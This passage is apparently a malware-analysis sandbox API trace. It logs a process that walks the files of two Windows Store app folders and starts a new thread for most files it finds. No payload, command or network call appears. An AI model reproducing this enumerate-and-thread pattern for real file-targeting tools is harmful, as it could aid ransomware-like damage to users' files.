	[0089.916] wcscpy (in: _Dest=0x2e43fe0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe"
	[0089.916] wcscat (in: _Dest=0x2e43fe0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\"
	[0089.916] wcscat (in: _Dest=0x2e43fe0, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0089.916] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e43fe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2014
	[0089.917] FindNextFileW (in: hFindFile=0x46a7d98, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dbbf423, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x6dbbf423, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x6dbbf423, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x29c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0089.917] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0089.917] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0089.917] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4767978
	[0089.917] wcscpy (in: _Dest=0x4767978, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe"
	[0089.917] wcscat (in: _Dest=0x4767978, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\"
	[0089.917] wcscat (in: _Dest=0x4767978, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0089.917] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4767978, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2018
	[0089.918] FindNextFileW (in: hFindFile=0x46a7d98, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6dc02f4e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb497fc88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6dc1958b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0089.918] wcscmp (_String1="Assets", _String2=".") returned 1
	[0089.918] wcscmp (_String1="Assets", _String2="..") returned 1
	[0089.918] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x477ccc8
	[0089.918] wcscpy (in: _Dest=0x477ccc8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe"
	[0089.918] wcscat (in: _Dest=0x477ccc8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\"
	[0089.918] wcscat (in: _Dest=0x477ccc8, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\Assets"
	[0089.918] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477ccc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x201c
	[0089.919] FindNextFileW (in: hFindFile=0x46a7d98, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x74a814e, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x92416342, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x92416342, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0089.919] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0089.919] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0089.919] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x100) returned 0x47cc140
	[0089.919] wcscpy (in: _Dest=0x47cc140, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe"
	[0089.919] wcscat (in: _Dest=0x47cc140, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\"
	[0089.919] wcscat (in: _Dest=0x47cc140, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0089.919] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47cc140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2020
	[0089.920] FindNextFileW (in: hFindFile=0x46a7d98, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dc1958b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x6dc3f813, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x6dc3f813, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3768, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0089.920] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0089.920] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0089.920] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x2e44360
	[0089.920] wcscpy (in: _Dest=0x2e44360, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe"
	[0089.920] wcscat (in: _Dest=0x2e44360, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\"
	[0089.920] wcscat (in: _Dest=0x2e44360, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\resources.pri"
	[0089.920] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e44360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2024
	[0089.921] FindNextFileW (in: hFindFile=0x46a7d98, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dc3f813, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x6dc65a6c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x6dc65a6c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x20298, dwReserved0=0x0, dwReserved1=0x0, cFileName="SegXbox2.ttf", cAlternateFileName="")) returned 1
	[0089.921] wcscmp (_String1="SegXbox2.ttf", _String2=".") returned 1
	[0089.921] wcscmp (_String1="SegXbox2.ttf", _String2="..") returned 1
	[0089.921] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x477e490
	[0089.921] wcscpy (in: _Dest=0x477e490, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe"
	[0089.921] wcscat (in: _Dest=0x477e490, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\"
	[0089.921] wcscat (in: _Dest=0x477e490, _Source="SegXbox2.ttf" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\SegXbox2.ttf") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\SegXbox2.ttf"
	[0089.921] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477e490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2028
	[0089.921] FindNextFileW (in: hFindFile=0x46a7d98, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dc65a6c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x6dc8bcca, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x6dc8bcca, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechToTextOverlay.winmd", cAlternateFileName="")) returned 1
	[0089.922] wcscmp (_String1="SpeechToTextOverlay.winmd", _String2=".") returned 1
	[0089.922] wcscmp (_String1="SpeechToTextOverlay.winmd", _String2="..") returned 1
	[0089.922] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x2d8a010
	[0089.922] wcscpy (in: _Dest=0x2d8a010, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe"
	[0089.922] wcscat (in: _Dest=0x2d8a010, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\"
	[0089.922] wcscat (in: _Dest=0x2d8a010, _Source="SpeechToTextOverlay.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\SpeechToTextOverlay.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\SpeechToTextOverlay.winmd"
	[0089.922] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d8a010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x202c
	[0089.922] FindNextFileW (in: hFindFile=0x46a7d98, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dc8bcca, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x6dcfe45d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x6dcfe45d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x82800, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechToTextOverlay64-Retail.exe", cAlternateFileName="")) returned 1
	[0089.922] wcscmp (_String1="SpeechToTextOverlay64-Retail.exe", _String2=".") returned 1
	[0089.922] wcscmp (_String1="SpeechToTextOverlay64-Retail.exe", _String2="..") returned 1
	[0089.922] FindNextFileW (in: hFindFile=0x46a7d98, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dc8bcca, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x6dcfe45d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x6dcfe45d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x82800, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechToTextOverlay64-Retail.exe", cAlternateFileName="")) returned 0
	[0089.922] FindClose (in: hFindFile=0x46a7d98 | out: hFindFile=0x46a7d98) returned 1
	[0089.923] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502f700) returned 1
	[0089.923] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4924e10) returned 1
	[0089.923] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476fb28) returned 1

Thread:
	id = 1059
	os_tid = 0x1cfc

	[0082.731] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4722e00
	[0082.731] wcscpy (in: _Dest=0x4722e00, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe"
	[0082.731] wcscat (in: _Dest=0x4722e00, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\"
	[0082.731] wcscat (in: _Dest=0x4722e00, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\*"
	[0082.732] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502f968
	[0082.732] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\*", lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ed154e1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa241231, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa241231, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7dd8
	[0082.732] wcscmp (_String1=".", _String2=".") returned 0
	[0082.732] FindNextFileW (in: hFindFile=0x46a7dd8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ed154e1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa241231, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa241231, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.741] wcscmp (_String1="..", _String2=".") returned 1
	[0082.741] wcscmp (_String1="..", _String2="..") returned 0
	[0082.741] FindNextFileW (in: hFindFile=0x46a7dd8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ed154e1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x3ed3b73a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x3ed3b73a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1060, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.741] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.741] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.741] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfa) returned 0x481d1b0
	[0082.741] wcscpy (in: _Dest=0x481d1b0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe"
	[0082.741] wcscat (in: _Dest=0x481d1b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\"
	[0082.741] wcscat (in: _Dest=0x481d1b0, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0089.908] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481d1b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1688
	[0089.909] FindNextFileW (in: hFindFile=0x46a7dd8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ed154e1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x3ed154e1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x3ed154e1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x350, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0089.909] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0089.909] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0089.909] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfa) returned 0x47cca88
	[0089.909] wcscpy (in: _Dest=0x47cca88, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe"
	[0089.909] wcscat (in: _Dest=0x47cca88, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\"
	[0089.909] wcscat (in: _Dest=0x47cca88, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\AppxManifest.xml"
	[0089.909] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47cca88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ff8
	[0089.910] FindNextFileW (in: hFindFile=0x46a7dd8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ed3b73a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x3ed3b73a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x3ed3b73a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2971, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0089.910] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0089.910] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0089.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x47ccea8
	[0089.910] wcscpy (in: _Dest=0x47ccea8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe"
	[0089.910] wcscat (in: _Dest=0x47ccea8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\"
	[0089.910] wcscat (in: _Dest=0x47ccea8, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0089.910] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ccea8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ffc
	[0089.910] FindNextFileW (in: hFindFile=0x46a7dd8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ed3b73a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb4a3bd63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3eea3226, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0089.910] wcscmp (_String1="Assets", _String2=".") returned 1
	[0089.911] wcscmp (_String1="Assets", _String2="..") returned 1
	[0089.911] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x47ec338
	[0089.911] wcscpy (in: _Dest=0x47ec338, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe"
	[0089.911] wcscat (in: _Dest=0x47ec338, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\"
	[0089.911] wcscat (in: _Dest=0x47ec338, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\Assets"
